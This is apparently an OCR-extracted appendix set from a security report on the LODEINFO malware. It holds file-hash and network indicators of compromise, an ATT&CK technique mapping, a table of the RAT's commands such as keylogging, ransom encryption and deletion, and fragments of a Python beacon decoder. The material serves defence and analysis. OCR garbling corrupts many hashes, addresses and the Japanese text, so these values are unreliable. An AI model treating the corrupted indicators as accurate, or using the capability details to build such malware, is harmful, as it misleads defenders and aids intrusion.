1dbf67d7dadba5505073aaf3e4478dd295b074bddf10ac5ac7b8@d7fc14bea63 dll v0.5.6
fc602ebcf5f9697bedae@e641adfc16985058212Ff7b9e69dadof1bf53daf9o3f9 doc v0.5.6
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Appendix A: loC - file hash (2)

978ba248c02eb9c130c1459b76752718a3a9714c6686c12432e027da56f6c553 dll v0.5.9
dab7d79644453a7ca61b9b585c1081167dbe5df0da398df2458c1081295f68e6 dll v0.5.9
50cf6841cbcOce395a23b9ad4d2ddac77b11a376929878717e90c9a7430feddc3 dll v0.5.9
88efbc6e883336a0b910b7bcfOef5c2172d913371db511a59a4a525811173bf1 dll v0.5.9
e764126c3e5bf8467da51fbb33c3d80f026b8fe5bd5a6b84318b3f0aedb667cd dll v0.5.9
fde82dcccd471b63f511c6f76dc04e12334818cda8b3815048b8ad85c9357089 doc v0.5.9
a5cf580c1768bb8d28716978fa0B26b7e2decdeb5a9c4396ede@c704bfe@9ed36 dll v0.56.9
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Appendix A: loC - file hash (3)

402650488e€94455b181716efba43f082e891elc6e45d3f1le5ab827de319276¢c9 dll v0.6.2
5738bf7b27c61c1421b08be98143ab3bc32b779a45d5350f40f689bf268489ed dll v0.6.2
9af72a598dc4alel0265dcf7da20d6433a9473a338e2fc012f4e490ad721d871 dll v0.6.2
7f32df11846b0a5b4d43d8celf7ddcebf9aef6d568ba210534a0b9e246d6561e dll v0.6.2
@abbdee5d3c5191bfb9a3a91712d8b538d6d8a0ccO489b3e5aalov34b2fccd3c dll v0.6.2
5faa813b811236f14fec8ePe7ee9d0135efaf296d6dcbabd2be8cf3165fa940d dll v0.6.2
31c87d9a84c7996a56024c93787de9332099faf707cd8d0166e5af9d491977b8 dll v0.6.2
£53c5fd78000755ccff11d2f1b7d659f4a71c887083697d54b8fe8cf905ef6a sfx v0.6.3
a8ec766eee6cc3c641651918407ac5341088637ed1abbc05ed0596d8a0237548 sfx v0.6.3
a5ce5al79ec56aa6e2bc86be77df07b15650cdbcbca®46515263fel6b8e2a036 dll v0.6.3
8260ble80eeff2e0b39f782eebfa9460boebef480c3fed6fbccf8cfc67dbef9 loader v0.6.3
ed82f4fff39fbdcbefdbcb@a9c9ae6fb689f6db64T94bd8eb6c9241d0409792¢c | XORed shellcode v0.6.3
8f51b5bdb9b7234426fa8fdfbfac9eb46d650c6a22c9ed49ab8f0fcO9e5d76a5 XORed shellcode v0.6.5
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Appendix A: loC - network

45.67.231[.]169 45.76.216[ . 140 45.77.28[.]124
162.244.32[.]148 103.140.45[.]71 172.105.223[.]216
193.228.52[.]57 139.180.192[.]19 103.175.16[.]39
103.27.184[.]27 167.179.84[.]162 172.104.112[.]218
103.140.187[.]183 167.179.65[.]11 202.182.108[.]127
103.204.172[.]210 130.130.121[.]44 5.8.95[.]174
133.130.121[.]44 118.107.11[.]135 172.104.72[.]4
167.179.101[. ]46 172.105.230[.]196 www.amebaoor[ . ]net
167.179.112[.]74 172.104.78[. )44 www.evonzae[.]com
172.105.232[.]89 108.61.201[.]135 www . dvdsesso[ . ]com
194.68.27[.]49 139.162.112[.]40
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Appendix B: MITRE ATT&CK (1)

= o (s |
Resource Development Acquire Infrastructure: Server T1583.004 (EJZ_C*DL\é\FHL MAT 12 TY—ERZRR
Initial Access Phishing: Spearphishing T1566.001 AET T 49 YT A —ILic & B
Attachment
Execution Windows Management T1047 wmi Z {5 E/’C“E,%-\O) OV Y RZEET
Instrumentation (comc OAY >V K)
: Command and Scripting RFa XY NTEDATNLEYIONETS
S Interpreter: Visual Basic ULt . BELGDLLARNAOY Fans
HM A R ~ —HA B s
Execution User Execution: Malicious File T1204.002 ’2]@3 F¥aXybzi—vams. BRY
Boot or Logon Autostart
Persistence Execution: Registry Run Keys / T1547.001 Run F—Ic & %Kitk
Startup Folder
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Appendix B: MITRE ATT&CK (2)

og 0 . g _ === —; Y == ~ »
Defense Evasion Hijack Execution Flow: DLL Side T1574.002 IE%EQ?&H? 7LD, BULGDLLZ YA R
Loading AO—k9%
Obfuscated Files or
Defense Evasion Information: Dynamic API T1027.007 APIIFCRC327ET/N\y Y afkEnTWns
Resolution
: Obfuscated Files or Y )LOA—RHABE{LEINKREBTEITT 7
DRSS SEEIEI Information: Embedded Payloads Ulezgd0e: TIVISIEDHIATNTWS
. Deobfuscate/Decode Files or AV T4 UhBESLEINICIRETEIT 7 710
OIS BRI Information LALRE.S, JVICEHAFTFNTWD
. L svchostexe [c¥x)LOd—KRZzA1>> ¥
Defense Evasion Process Injection T1055 k¥ 2 (memory I< > K)
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Appendix B: MITRE ATT&CK (3)

System Location . e s - .
Discovery Biscovery: System Language T1614.001 E?C_Eb;’légﬁgz M=kl A7Ihz2RE
iscovery

Discovery System Information Discovery T1082 izgézgfﬁgiﬁéiﬁhﬁbﬁg 3_:'%)_ ~

T7AINPTALI NI D—BEZXRRT S

Discovery File and Directory Discovery T1083 s A7 R)

Archive Collected Data: Archive via LODEINFO S&ESnicT—7 I

Collection T1560.002

Library QuickLZ TEfEE 1 %
1) — >N/, N A= PRUSRN
Collection Screen Capture T1113 7\7_ J /\/ =Y NZEWS 9 2H8EN S B
(print Y R)
—_ Y P NN ==
Collection Input Capture: Keylogging T1056.001 F—OH—DHEBENERINTWS

(keylog AY > R)
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Appendix B: MITRE ATT&CK (4)

Command and Control | fPPlication Layer Protocol: Web T1071.001 C2H—/\E DBEICIEHTTPAERE N3

Encrypted Channel: Symmetric C2H—/NEPDOED T 35T —%E AES &
Command and Control e T1573.001 T2 ENG

Data Encoding: Non-Standard C2H—NNEPDED T BT —FIFHAY L
Command and Control e T1132.002 Base64TIT Y J— K& N2
Exfiltration Exfiltration Over C2 Channel T1041 1£§®7 > TVEC2Ic 7y 70— R 58

BEMH B (recv AV YV R)
Impact Data Encrypted for Impact T1486 T4 AV %ZBES{tT S (ransom OAY Y R)
. EREOT ALYV NIPT 71 IILZHIBRT D8

Impact Data Destruction T1485 2% 2 (rm A7 R)
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Appendix C: RAT OV Y KD (~ 20225)

-_

print A7U—=> 3y DB

rm 7 74 ILDHIER O O O O O
ransom 771 ILDEES A A O O O
keylog F—AOH—DFEME A A O O O
pS 7Ot XA—EBDEE O O O
pkill FRO7OEADEL O O O
mv 771 I DO%E O O
cp Z7A4ILDOOE— O O
mkdir T4LT KN DIERK O O
autorun KiEAL DEETE O
comc WMIZFB LYY RDOET O
config *32% (Not available Zix9) A

AIFEXREE (OAYY REZ(TH > TH Not Available %3R9)
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Appendix D: Scripts

s LODEINFOBeacon: — — e
TABLE = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012345678 > python decode_lodeinfo_beacon.py
HEADER(sha512_128=b'e87d884fa9005a7c2963b7a41bcadad2', payload_size=244)
def __init_ (self, data): BEACON(beacon_size=62, random_data_size=24, date=datetime.datetime(2022, 8, 18, 19,
;ery index = data.find("=") 11, 46), ansi='932', mac_addr='000C2932F71A', computer_name='DESKTOP-810MVP8', xor_k
T . ) ey="'z1ApZbCgpp_"', version='v0.6.3"', random_data=b'cV4dXd7e5tIKGmK8ZdHBtw. . ")
post_key = datal:query_index]
main_data = datal[query_index + 1 :]
self.header = self.__dec_header(post_key, main_datal[:0x1C])
self.post_datasize = int.from_bytes(self.header[0x10:0x14], byteord: N ~ = /4= =
self.post_data = self.__dec_custom_base64( L VO-5-6 L/{I"%@CZJ.E{E{EEXﬁ IJ 7 I\
main_data[0x1C : 0x1C + self.post_datasizel

) +

__dec_header(self, post_key: str, data: str) —> str: B API HaSh ﬁgi*é:LODEINFOv)LleTGD
L kU 7—2%1T5IDPython X2 J 7k

for i, d in enumerate(data):
if self.TABLE.find(ord(d)) == -1:
b64_data += d
continue
k: str = post_key[i % len(post_key)]
b64_data += chr(
self.TABLE[(self.TABLE.find(ord(d)) - self.TABLE.find(ord(k))) % 62]

)

All scripts => https://github.com/nflabs/aa tools/tree/main/lodeinfo
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https://github.com/nflabs/aa_tools/tree/main/lodeinfo

